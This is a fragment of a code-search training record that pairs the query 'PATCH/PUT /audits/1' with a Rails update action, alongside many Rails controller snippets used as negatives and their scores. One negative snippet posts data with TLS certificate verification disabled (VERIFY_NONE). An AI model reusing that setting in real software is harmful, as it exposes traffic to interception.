"def create\n @tenure = Tenure.new(tenure_params)\n\n if @tenure.save\n audit(@tenure, current_user)\n render json: @tenure, status: :created\n else\n render json: @tenure.errors, status: :unprocessable_entity\n end\n end",
"def create\n @audit_log = AuditLog.new(audit_log_params)\n\n respond_to do |format|\n if @audit_log.save\n format.html { redirect_to @audit_log, notice: 'Audit log was successfully created.' }\n format.json { render :show, status: :created, location: @audit_log }\n else\n format.html { render :new }\n format.json { render json: @audit_log.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n @actor_auditions = ActorAudition.all\n end",
"def create\n\t\tif @audit.update_attributes(question_params)\n @audit.nc_questions.update_all(company_id: current_company.id)\n flash[:notice] = \"Your requests were added successfully\"\n redirect_to new_audit_nc_question_path\n else\n flash[:error] = \"Something went wrong and requests were not added\"\n\t\t\trender \"new\"\n\t\tend\n\tend",
"def destroy\n \n @audit = current_user.audits.find(params[:id])\n @audit.destroy\n \n UserMailer.audit_deleted_auditor(@audit,current_user).deliver\n UserMailer.audit_deleted_auditee(@audit,current_user).deliver\n respond_to do |format|\n format.html { redirect_to audits_url }\n format.json { head :no_content }\n end\n end",
"def grouped_audits\n audits.group_by(&:request_uuid).map { |_, audits| audits.first }\n end",
"def create\n @auditoria = Auditoria.new(params[:auditoria])\n\n respond_to do |format|\n if @auditoria.save\n format.html { redirect_to @auditoria, :notice => 'Auditoria was successfully created.' }\n format.json { render :json => @auditoria, :status => :created, :location => @auditoria }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @auditoria.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def api_v11_audits_get(opts = {})\n api_v11_audits_get_with_http_info(opts)\n return nil\n end",
"def create\n @audition = Audition.new(audition_params)\n @audition.user_id = current_user.id\n respond_to do |format|\n if @audition.save\n format.html { redirect_to @audition, notice: 'Audition was successfully created.' }\n else\n format.html { render :new }\n end\n end\n end",
"def create\n @item = Item.new(item_params)\n @item.stock_id = params[:stock_id]\n @stock_audit = StockAudit.new\n @stock_audit.item = @item\n @stock_audit.user = current_user\n @stock_audit.audit_params = \"#{item_params}\"\n @stock_audit.comment = \"created a new item\"\n respond_to do |format|\n if @item.save\n @stock_audit.save\n format.html { redirect_to @item, notice: 'Item was successfully created.' }\n format.json { render action: 'show', status: :created, location: @item }\n else\n format.html { render action: 'new' }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def audit_params\n params.require(:audit).permit(:detail_id, :account_id, :end_time, :description)\n end",
"def create\n attendance_params[:checkin] = attendance_params[:checkin].to_time\n attendance_params[:checkout] = attendance_params[:checkout].to_time\n attendance_params[:attendance_date] = attendance_params[:attendance_date].to_date\n\n r = @api.create_attendance(attendance_params)\n respond_to do |format|\n if r.code == 201\n format.html { redirect_to attendances_url, notice: 'Attendance was successfully created.' }\n else\n response = JSON.parse(r.body)\n format.html { redirect_to attendances_url, alert: response['message']}\n end\n end\n end",
"def submit_report(json, cookbookname)\n data = File.read(json)\n uri = URI.parse($SPEC_ENDPOINT)\n http = Net::HTTP.new(uri.host, uri.port)\n http.use_ssl = uri.scheme == \"https\"\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE\n request = Net::HTTP::Post.new(\"/api/reports\")\n request.add_field('Content-Type', 'application/json')\n request.body = {\n :spec_result => data,\n :hostname => `hostname`.chomp,\n :cookbook_name => cookbookname\n }.to_json\n response = http.request(request)\n end",
"def history\n @purchase_requisition = PurchaseRequisition.find(params[:id])\n\n \n @audits=Kaminari.paginate_array(@purchase_requisition.audits.sort_by{|e| -e.id}).page(params[:page]).per(10)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @purchase_requisitions }\n end \n\n end",
"def create\n @admitting = Admitting.new(admitting_params)\n\n if @admitting.save\n render json: @admitting, status: :created, location: @admitting\n else\n render json: @admitting.errors, status: :unprocessable_entity\n end\n end",
"def create\n \t\t\t\t@active = User.find(session[:user_id]).try :touch\n\t\t\t\t@encounter = Encounter.new(encounter_params)\n\t\t\t\t@encounter.date_created = Time.now\n\t\t\t\t@encounter.creator= session[:user_id]\n\t\t\t\t@encounter.save\n\t\t\t\t@encounter_type = EncountersType.all\n\t\t\t\t@people = Person.all\n\t\t\t\t@locations = Location.where(:retired => 0 )\n\t\t\t\t@patients = Patient.where(:voided => 0)\n respond_to do |format|\n if @encounter.save\n format.html { redirect_to @encounter, notice: 'Encounter was successfully created.' }\n format.json { render :show, status: :created, location: @encounter }\n else\n format.html { render :new }\n format.json { render json: @encounter.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @distribution_audit = DistributionAudit.new(params[:distribution_audit])\n\n respond_to do |format|\n if @distribution_audit.save\n format.html { redirect_to @distribution_audit, :notice => 'Distribution audit was successfully created.' }\n format.json { render :json => @distribution_audit, :status => :created, :location => @distribution_audit }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @distribution_audit.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def audit_params\n params.require(:audit).permit(:name, :reoccuring, :onsite, :notes, :audit_type_id, :interval, :period_start, :period_end)\n end",
"def audit\n render :json=>@generic_file.audit\n end",
"def create\n @quote_audit = QuoteAudit.new(params[:quote_audit])\n\n respond_to do |format|\n if @quote_audit.save\n format.html { redirect_to(@quote_audit, :notice => 'Quote audit was successfully created.') }\n format.xml { render :xml => @quote_audit, :status => :created, :location => @quote_audit }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @quote_audit.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def index\n AnalyticsEvent.create(remote_ip: request.remote_ip,\n device: @device,\n type: :available_awards,\n timestamp: Time.now,\n app_id: params[:app_id],\n device_token_id: params[:security_token],\n player_id: params[:player_id])\n\n awards = Array.new\n all_awards = Award.where({:app_id => params[:app_id], :player_id => params[:player_id], :device_id => nil})\n all_awards.each do |a|\n awards.push(a.id)\n end\n render :json => {\"status\" => \"OK\", \"awards\" => awards}\n end",
"def create\n @audience = Audience.new(params[:audience])\n\n respond_to do |format|\n if @audience.save\n format.html { redirect_to @audience, notice: 'Audience was successfully created.' }\n format.json { render json: @audience, status: :created, location: @audience }\n else\n format.html { render action: \"new\" }\n format.json { render json: @audience.errors, status: :unprocessable_entity }\n end\n end\n end",
"def audition_params\n params.require(:audition).permit(:title, :content)\n end",
"def create\n @auditorium = Auditorium.create!(seat_count: auditorium_params[:seat_count])\n redirect_to @auditorium\n end",
"def audits criteria = {}\n $mongo[\"audits.#{self.class.name}\"].\n find(criteria.merge target: id).sort [[:at, -1]]\n end",
"def index\n @audit_trails = AuditTrail.all\n end",
"def create\n @questionnaire = Questionnaire.new(questionnaire_params)\n @audit = Audit.find(params[:audit]) \n if @questionnaire.save\n @audit.update_attribute(:questionnaire_id, @questionnaire.id)\n redirect_to @audit, notice: \"The questionnaire has been saved.\"\n else\n flash[:error] = \"The questionnaire could not be saved.\"\n render \"new\"\n end\n end",
"def create\n @attendance_history = AttendanceHistory.new(attendance_history_params)\n\n respond_to do |format|\n if @attendance_history.save\n format.html { \n flash[:success] = \"Event Access Granted!\"\n redirect_to @attendance_history.event }\n format.json { render @attendance_history.event, status: :created, location: @attendance_history }\n else\n format.html { \n flash[:success] = \"Sorry, check In failed!\"\n redirect_to current_user }\n format.json { render json: @attendance_history.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n puts \"==========================\"\n puts \"CREATE\"\n JSON[params[\"updates\"].read].each do |notification|\n user = User.find(notification[\"subscriptionId\"])\n if user\n case notification[\"collectionType\"]\n when \"sleep\"\n user.fitbit.client.sleep_on_date(notification[\"date\"])[\"sleep\"].each do |data|\n sleep_event = { user_id: notification[\"subscriptionId\"], provider: params[:app_id], body: data }\n sleep_logger.info sleep_event\n end\n end\n end\n end\n render text: \"\", status: 204\n end",
"def create\n @job = Job.find_by job_number: stock_params[:job_number]\n params[:stock].delete :job_number\n @stock = Stock.new(stock_params)\n @stock.accounts_signoff = 0\n @stock.projects_signoff = 0\n if @job != nil\n @stock.job_id = @job.id\n end\n @stock_audit = StockAudit.new\n @stock_audit.stock = @stock\n @stock_audit.user = current_user\n @stock_audit.audit_params = \"#{stock_params}\"\n respond_to do |format|\n if @stock.save\n @stock_audit.comment = \"has created the new stock item #{@stock.id}\"\n @stock_audit.save\n format.html { redirect_to @stock, notice: 'Stock was successfully created.' }\n format.json { render action: 'show', status: :created, location: @stock }\n else\n format.html { render action: 'new' }\n format.json { render json: @stock.errors, status: :unprocessable_entity }\n end\n end\nend",
"def create\n @auditreview = Auditreview.new(auditreview_params)\n respond_to do |format|\n if @auditreview.save\n format.html { redirect_to action: \"index\", notice: 'Auditreview was successfully created.' }\n format.json { render :show, status: :created, location: @auditreview }\n else\n format.html { render :new }\n format.json { render json: @auditreview.errors, status: :unprocessable_entity }\n end\n end\n end",
"def api_v11_audits_get_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: DefaultApi#api_v11_audits_get ...\"\n end\n \n # resource path\n path = \"/api/v11/audits\".sub('{format}','json')\n\n # query parameters\n query_params = {}\n query_params[:'maxResults'] = opts[:'max_results'] if opts[:'max_results']\n query_params[:'resultOffset'] = opts[:'result_offset'] if opts[:'result_offset']\n query_params[:'startTime'] = opts[:'start_time'] if opts[:'start_time']\n query_params[:'endTime'] = opts[:'end_time'] if opts[:'end_time']\n query_params[:'query'] = opts[:'query'] if opts[:'query']\n\n # header parameters\n header_params = {}\n\n # HTTP header 'Accept' (if needed)\n _header_accept = []\n _header_accept_result = @api_client.select_header_accept(_header_accept) and header_params['Accept'] = _header_accept_result\n\n # HTTP header 'Content-Type'\n _header_content_type = []\n header_params['Content-Type'] = @api_client.select_header_content_type(_header_content_type)\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n \n\n auth_names = []\n data, status_code, headers = @api_client.call_api(:GET, path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: DefaultApi#api_v11_audits_get\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def create\n @issuance = Issuance.new(issuance_params)\n\n respond_to do |format|\n if @issuance.save\n format.html { redirect_to @issuance, notice: 'Issuance was successfully created.' }\n format.json { render :show, status: :created, location: @issuance }\n else\n format.html { render :new }\n format.json { render json: @issuance.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @issuance = Issuance.new(issuance_params)\n\n respond_to do |format|\n if @issuance.save\n format.html { redirect_to @issuance, notice: 'Issuance was successfully created.' }\n format.json { render :show, status: :created, location: @issuance }\n else\n format.html { render :new }\n format.json { render json: @issuance.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n # Store audit location place details if it's new\n if params[:location].present?\n @location = Location.find_by(id: params[:location][:id], name: params[:location][:name])\n @location = Location.new(location_params) if @location.blank?\n @audit = @location.audits.build(audit_params) if @location.save\n end\n # Initialize new audit object for validation\n @audit ||= Audit.new(audit_params)\n \n # save newly created audit object if it's valid\n if @audit.save\n # save paragraphs details which are involved in audit\n params[:audit][:paragraphs].each { |pa| @audit.audit_items.build(paragraph_id: pa).save } if params[:audit][:paragraphs].present?\n # save auditors details how will conduct audit\n params[:audit][:auditors].each { |employee| @audit.auditor_employees.build(employee_id: employee).save } if params[:audit][:auditors].present?\n # save auditees details how help in audit\n params[:audit][:auditees].each { |employee| @audit.auditee_employees.build(employee_id: employee).save } if params[:audit][:auditees].present?\n # save shadule details for audit paragraphs, when they will be conducted\n params[:audit][:fine_tunes].each do |fine_tune|\n if fine_tune[:date] && fine_tune[:start_time][:hour] && fine_tune[:start_time][:min] && fine_tune[:end_time][:hour] && fine_tune[:end_time][:min] && fine_tune[:paragraph]\n @audit.fine_tunes.build( ddate: Date.strptime(fine_tune[:date], \"%m/%d/%Y\"),\n start_hour: change_time(fine_tune[:start_time][:hour], fine_tune[:start_time][:min]),\n end_hour: change_time(fine_tune[:end_time][:hour], fine_tune[:end_time][:min]),\n notes: fine_tune[:note], paragraph_id: fine_tune[:paragraph]\n ).save\n end\n end if params[:audit][:fine_tunes].present?\n render json: @audit, status: :created\n else\n render json: @audit.errors, status: :unprocessable_entity\n end\n end",
"def create\n @attend_event = AttendEvent.new(attend_event_params)\n @attend_event.user_id = current_user.id\n @attend_event.event_id = params[:event_id]\n @attend_event.seen = false\n\n respond_to do |format|\n if @attend_event.save\n format.html { redirect_to events_url, notice: 'Your request has been recorded.' }\n else\n format.html { render :new }\n format.json { render json: @attend_event.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @annual_summary_report = AnnualSummaryReport.new(annual_summary_report_params)\n\n #create default questions\n questions = Question.all\n @annual_summary_report.user_id = current_user.id\n @annual_summary_report.status = 1\n\n respond_to do |format|\n if @annual_summary_report.save\n for question in questions\n answer = Answer.new\n answer.question = question.question\n answer.question_id = question.id\n answer.answer = '';\n answer.section_id = question.section_id\n answer.annual_summary_report_id = @annual_summary_report.id\n answer.save\n end\n\n format.html { redirect_to @annual_summary_report }\n format.json { render :show, status: :created, location: @annual_summary_report }\n else\n format.html { render :new }\n format.json { render json: @annual_summary_report.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @summit = Summit.new(summit_params)\n \n @summit.currency = \"$\"\n @summit.location_country = \"USA\"\n \n @summit.deadline = create_deadline_json\n @summit.admin_email = \"\"\n \n respond_to do |format|\n if @summit.save\n format.html { redirect_to @summit, notice: 'Summit was successfully created.' }\n #format.json { render :show, status: :created, location: @summit }\n else\n format.html { render :new_public }\n #format.json { render json: @summit.errors, status: :unprocessable_entity }\n end\n end\n end",
"def audible_params\n params.require(:audible).permit(:title, :by, :language, :audio_file, :track, :belongs_to)\n end",
"def audit_params\n params.require(:audit).permit(:user_id, :mod_action_id, :obj_id, :interactionDate)\n end",
"def create\n\t\tStripe::WebhookService.new.instrument(params)\n\t\thead :ok\n\t# rescue StandardError\n\t\t# head :unauthorized\n\tend",
"def create\n @absence = AttendanceRecord.find(params[:excuse][:attendance_record_id])\n @excuse = Excuse.new(excuse_params)\n @excuse.attendance_record = @absence\n @excuse.save\n redirect_to excuses_my_absences_path\n end",
"def create\n #@incident = @quote.incidents.new(incident_params)\n logger.info params[:incident]\n params[:incident].each do |incident|\n @incident = @quote.incidents.new(incident)\n @incident.save\n end\n respond_to do |format|\n format.json { render :json => { :code => \"201\", :description => \"Created incidents\"} }\n end\n end",
"def save_audit_log\n if (@audit_log && @audit_log.auditable)\n if [\"update\",\"destroy\"].include?(action_name)\n update_and_destroy_audit\n elsif action_name == \"create\"\n create_audit\n end \n end\n end",
"def set_audition\n @audition = Audition.find(params[:id])\n end",
"def post_webhook\n HTTParty.post(\n \"https://api.trello.com/1/tokens/#{user.token}/webhooks/?key=#{ENV['TRELLO_KEY']}\",\n query: {\n description: \"Sprint webhook user#{user.id}\",\n callbackURL: \"#{ENV['BASE_URL']}webhooks\",\n idModel: trello_ext_id\n },\n headers: { \"Content-Type\" => \"application/json\" }\n )\n end",
"def audit_params\n params.require(:audit).permit(:project_id, :sprint, :sprint_size, :description)\n end",
"def report_params\n params.require(:report).permit(:consumedCalories, :burnedCalories, :diference, :diference_value, :creation_date)\n end",
"def index\n # limit all queries\n @audits = query_limit_all(AUDIT, :login, :message).reverse\n\n respond_to do |format|\n format.html\n format.xml { render :xml => @audits }\n end\n end",
"def aud; Settings.jwt.aud end",
"def create\n @encounter = Encounter.new(params[:encounter])\n\n respond_to do |format|\n if @encounter.save\n format.html { redirect_to @encounter, notice: 'Encounter was successfully created.' }\n format.json { render json: @encounter, status: :created, location: @encounter }\n else\n format.html { render action: \"new\" }\n format.json { render json: @encounter.errors, status: :unprocessable_entity }\n end\n end\n end",
"def destroy\n @audit.destroy\n respond_to do |format|\n format.html { redirect_to audits_url, notice: 'Audit was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def index\n @audiences = Audience.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @audiences }\n end\n end",
"def create\n assessment = current_enrollment ? current_enrollment.assessments.baseline.last : nil\n if assessment.nil? || assessment.created_at < 1.month.ago\n logger.info \"Creating a new baseline assessment\"\n assessment = BaselineAssessment.create(enrollment_uuid:current_enrollment ? current_enrollment.uuid : nil)\n else\n logger.info \"Found an existing assessment\"\n end\n\n params[:answers].each do |question_uuid, answer|\n next if answer == \"\" # bypass enpty answers\n\n check = Check.find_by_uuid(question_uuid)\n throw \"you must provide the uuid of the question (aka check)\" unless check\n\n assessment.responses.create!(check_uuid:check.uuid, value:answer)\n end\n\n # The assessment is created now, but may not have an enrollment. If not, we add the assessment uuid to the session\n # so that it can be attached to the user later on.\n if assessment.enrollment.nil?\n log \"I have a newly-created baseline assessment, but no user, so I'm storing the assessment's uuid in session for later use.\"\n store_baseline_assessment_in_session(assessment)\n end\n\n # track the event\n curr_ai = current_action_item(BaselineAssessment::COMPONENT_TYPE)\n if assessment.complete?\n track_event(curr_ai||current_enrollment||current_lead, \"completed_baseline_assessment\", target:assessment, points:BASELINE_ASSESSMENT_POINTS)\n redirect_to baseline_assessment_path(assessment)\n elsif curr_ai||current_enrollment\n track_event(curr_ai||current_enrollment||current_lead, assessment.mini_complete? ? :user_or_lead_completed_mini_baseline_assessment : :user_or_lead_answered_baseline_assessment_questions, target:assessment)\n redirect_to action_plan_index_path\n else # no user, go to registration\n redirect_to registration_path\n end\n end",
"def audited?\n @audited\n end",
"def attendance_params\n params.require(:attendance).permit(:date, :subject_id, :standard_id, :division_id, :academic_year_id, :teacher_id, :att_data => [].to_h)\n end",
"def update\n respond_to do |format|\n if @audit.update(audit_params)\n format.html { redirect_to @audit, notice: 'Audit was successfully updated.' }\n format.json { render :show, status: :ok, location: @audit }\n else\n format.html { render :edit }\n format.json { render json: @audit.errors, status: :unprocessable_entity }\n end\n end\n end",
"def report_test\n report_data = params.require(:api).permit(:code,:stdout,:project,:suite,:section)\n report = api_user.test_reports.create(report_data)\n if report.valid?\n render text: \"ok\"\n else\n raise \"Invalid report\"\n end\n end",
"def captured_hook_params\n params.require(:captured_hook).permit(:hook_id, :revenue, :subscriber_id, :app_id)\n end",
"def create\n @api_v1_outcome = Api::V1::Outcome.new(api_v1_outcome_params)\n\n respond_to do |format|\n if @api_v1_outcome.save\n format.html { redirect_to @api_v1_outcome, notice: 'Outcome was successfully created.' }\n format.json { render :show, status: :created, location: @api_v1_outcome }\n else\n format.html { render :new }\n format.json { render json: @api_v1_outcome.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n @auditorios = Auditorio.all\n end",
"def postSignal( entity_id, country, gen_id, signal_type, data_type, inactive_reason, inactive_description, feedback)\n params = Hash.new\n params['entity_id'] = entity_id\n params['country'] = country\n params['gen_id'] = gen_id\n params['signal_type'] = signal_type\n params['data_type'] = data_type\n params['inactive_reason'] = inactive_reason\n params['inactive_description'] = inactive_description\n params['feedback'] = feedback\n return doCurl(\"post\",\"/signal\",params)\n end",
"def create\n @specification = Specification.new(specification_params)\n\n if @specification.save\n audit(@specification, current_user)\n render json: @specification, status: :created, serializer: Web::V1::SpecificationSerializer\n else\n render json: @specification.errors, status: :unprocessable_entity\n end\n end",
"def received_expense_report_params\n params.require(:expense_report).permit(:status)\n end",
"def check_for_auditee_response\n if(@audit.auditees.map(&:id).include?(current_user.id))\n redirect_to new_audit_answers_path(@audit)\n end\n end",
"def create\n @dice = Dice.new(dice_params)\n\n if @dice.save\n render json: @dice, status: :created, location: @dice\n else\n render json: @dice.errors, status: :unprocessable_entity\n end\n end",
"def create\n @trail = Trail.new(trail_params)\n\n respond_to do |format|\n if @trail.save\n format.html { redirect_to @trail, notice: 'Trail was successfully created.' }\n format.json { render :show, status: :created, location: @trail }\n else\n format.html { render :new }\n format.json { render json: @trail.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n params[:logs].each { |message| Passbook::Log.create(message: message) }\n head :ok\n end",
"def post_incident(payload)\n begin\n payload_json = JSON.dump(payload)\n resp = pagerduty.incidents_api.post(payload_json, :content_type => :json)\n answer = JSON.parse(resp, :symbolize_names => true)\n log.debug(\"POST to incidents, payload=#{payload.inspect}, response=#{answer}\")\n answer\n rescue Exception => e\n log.error(\"Failed to post to incident API: #{payload.inspect}.\"+\n \"\\nError: #{e.message}\")\n raise RuntimeError.new(\"Problem talking to PagerDuty incidents:\"+\n \" #{e.message}\\nRequest was #{payload.inspect}\")\n end\n end"
] |
[
"0.65188664",
"0.6374931",
"0.6218359",
"0.6076659",
"0.59978354",
"0.5991787",
"0.5988801",
"0.5988801",
"0.57903355",
"0.56510735",
"0.56487465",
"0.5566443",
"0.55445915",
"0.5504159",
"0.5500728",
"0.55001765",
"0.5450015",
"0.54122585",
"0.53990656",
"0.5399045",
"0.53794515",
"0.53576076",
"0.5343527",
"0.5325857",
"0.5285162",
"0.52538216",
"0.5249093",
"0.5238303",
"0.5235088",
"0.5229668",
"0.5219788",
"0.521614",
"0.518401",
"0.51747084",
"0.51597035",
"0.5155886",
"0.51551324",
"0.51326954",
"0.51054424",
"0.5095589",
"0.5090774",
"0.5085992",
"0.5064635",
"0.5062239",
"0.5051499",
"0.50396734",
"0.50376254",
"0.50262815",
"0.5025019",
"0.5014771",
"0.5006457",
"0.49853632",
"0.49529964",
"0.49484932",
"0.49375698",
"0.49302757",
"0.49287862",
"0.49186167",
"0.49032128",
"0.49026966",
"0.48935002",
"0.48913553",
"0.48869112",
"0.48799813",
"0.48799813",
"0.4876594",
"0.4876215",
"0.4875202",
"0.48682025",
"0.48552936",
"0.48547328",
"0.48533815",
"0.4853191",
"0.48454517",
"0.4843253",
"0.4842037",
"0.4813126",
"0.48125726",
"0.48089385",
"0.48083314",
"0.48053858",
"0.479908",
"0.47858068",
"0.47791606",
"0.477221",
"0.4772002",
"0.4768209",
"0.47561586",
"0.4755491",
"0.4753753",
"0.4751604",
"0.47478616",
"0.47401237",
"0.473334",
"0.47308263",
"0.4726226",
"0.4725331",
"0.47251368",
"0.4719096",
"0.47188884"
] |
0.6010442
|
4
|
PATCH/PUT /audits/1 PATCH/PUT /audits/1.json
|
def update
respond_to do |format|
if @audit.update(audit_params)
format.html { redirect_to @audit, notice: 'Audit was successfully updated.' }
format.json { render :show, status: :ok, location: @audit }
else
format.html { render :edit }
format.json { render json: @audit.errors, status: :unprocessable_entity }
end
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def update\n @recording = Recording.find(params[:id])\n\n respond_to do |format|\n if @recording.update_attributes(params[:recording])\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n end\n end\n end",
"def update\n id = params[:id]\n @physical_rack = PhysicalRack.any_of({_id: id}, {name: id.gsub('-', '.')}).first\n @physical_rack.attributes = params[:physical_rack]\n @physical_rack.audits << Audit.new(source: 'controller', action: 'update', admin_user: current_user)\n respond_to do |format|\n if @physical_rack.save\n format.html { redirect_to @physical_rack, notice: 'Physical rack was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @physical_rack.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @audition.update(audition_params)\n format.html { redirect_to @audition, notice: 'Audition was successfully updated.' }\n format.json { render :show, status: :ok, location: @audition }\n else\n format.html { render :edit }\n format.json { render json: @audition.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @audit.update(audit_params)\n format.html { redirect_to @project, notice: 'Audit was successfully updated.' }\n format.json { render :show, status: :ok, location: @project }\n else\n format.html { render :edit }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @audit = current_user.audits.find(params[:id])\n \n if @audit.auditor_email != params[:audit][:auditor_email]\n UserMailer.audit_deleted_auditor(@audit,current_user).deliver\n UserMailer.assign_audit(@audit,params[:audit][:auditor_email],current_user).deliver \n end \n if @audit.auditee_email != params[:audit][:auditee_email]\n UserMailer.audit_deleted_auditee(@audit,current_user).deliver \n UserMailer.assign_auditee(@audit,params[:audit][:auditee_email],current_user).deliver\n end \n respond_to do |format|\n if @audit.update_attributes(params[:audit])\n format.html { redirect_to audits_path, notice: 'Audit was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @audit.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @actor_audition.update(actor_audition_params)\n format.html { redirect_to @actor_audition, notice: 'Actor audition was successfully updated.' }\n format.json { render :show, status: :ok, location: @actor_audition }\n else\n format.html { render :edit }\n format.json { render json: @actor_audition.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n record = Asset.find(params[:id])\n record.update_attributes(params[:record])\n \n respond_to do |format|\n format.html\n format.json {\n render json: {}\n }\n end\n end",
"def update\n @recording_event = RecordingEvent.find(params[:id])\n\n respond_to do |format|\n if @recording_event.update_attributes(params[:recording_event])\n format.html { redirect_to @recording_event, notice: 'Recording event was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @recording_event.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n if @specification.update(specification_params)\n audit(@specification, current_user)\n render json: @specification, status: :ok, serializer: Web::V1::SpecificationSerializer\n else\n render json: @specification.errors, status: :unprocessable_entity\n end\n end",
"def update\n @audience = Audience.find(params[:id])\n\n respond_to do |format|\n if @audience.update_attributes(params[:audience])\n format.html { redirect_to @audience, notice: 'Audience was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @audience.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @labtech_audit.update(labtech_audit_params)\n format.html { redirect_to @labtech_audit, notice: 'Labtech audit was successfully updated.' }\n format.json { render :show, status: :ok, location: @labtech_audit }\n else\n format.html { render :edit }\n format.json { render json: @labtech_audit.errors, status: :unprocessable_entity }\n end\n end\n end",
"def patch\n headers = {\"If-Match\" => @version}\n response = @context.request :patch, \"#{@path}/#{@id}\", @data.to_json, headers\n @version += 1\n response\n # 'X-HTTP-Method-Override' => 'PATCH'\n end",
"def update\n respond_to do |format|\n if @auditorio.update(auditorio_params)\n format.html { redirect_to @auditorio, notice: 'Auditorio was successfully updated.' }\n format.json { render :show, status: :ok, location: @auditorio }\n else\n format.html { render :edit }\n format.json { render json: @auditorio.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @audit_log.update(audit_log_params)\n format.html { redirect_to @audit_log, notice: 'Audit log was successfully updated.' }\n format.json { render :show, status: :ok, location: @audit_log }\n else\n format.html { render :edit }\n format.json { render json: @audit_log.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @historical = Historical.find(params[:id])\n\n respond_to do |format|\n if @historical.update_attributes(params[:historical])\n format.html { redirect_to @historical, notice: 'Historical was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @historical.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @api_v1_outcome.update(api_v1_outcome_params)\n format.html { redirect_to @api_v1_outcome, notice: 'Outcome was successfully updated.' }\n format.json { render :show, status: :ok, location: @api_v1_outcome }\n else\n format.html { render :edit }\n format.json { render json: @api_v1_outcome.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @verb = Verb.find(params[:id])\n\n if @verb.update(verb_params)\n head :no_content\n else\n render json: @verb.errors, status: :unprocessable_entity\n end\n end",
"def patch!\n request! :patch\n end",
"def update\n @auditoria = Auditoria.find(params[:id])\n\n respond_to do |format|\n if @auditoria.update_attributes(params[:auditoria])\n format.html { redirect_to @auditoria, :notice => 'Auditoria was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @auditoria.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def GetTicketAudits id,params = {}\n\n params = params.merge(path: \"tickets/#{id}/audits.json\")\n APICall(params)\n\n end",
"def update\n @webhook = Webhook.find(params[:id])\n\n respond_to do |format|\n if @webhook.update_attributes(params[:webhook])\n format.html { redirect_to @webhook, notice: 'Webhook was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @webhook.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n streak, success = jsonapi_update.to_a\n\n if success\n render_jsonapi(streak, scope: false)\n else\n render_errors_for(streak)\n end\n end",
"def update\n respond_to do |format|\n if @claim.update(claim_params)\n format.html { redirect_to @claim, notice: 'Claim was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @claim.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @record = Asset.find(params[:id])\n @record.update_attributes(params[:@record])\n \n respond_to do |format|\n format.html\n format.json {\n render json: {}\n }\n end\n end",
"def update\n @audio = Audio.find(params[:id])\n\n respond_to do |format|\n if @audio.update_attributes(params[:audio])\n format.html { redirect_to @audio, :notice => 'Audio was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @audio.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @audio.update(audio_params)\n format.html { redirect_to @audio, notice: 'Audio was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @audio.errors, status: :unprocessable_entity }\n end\n end\n end",
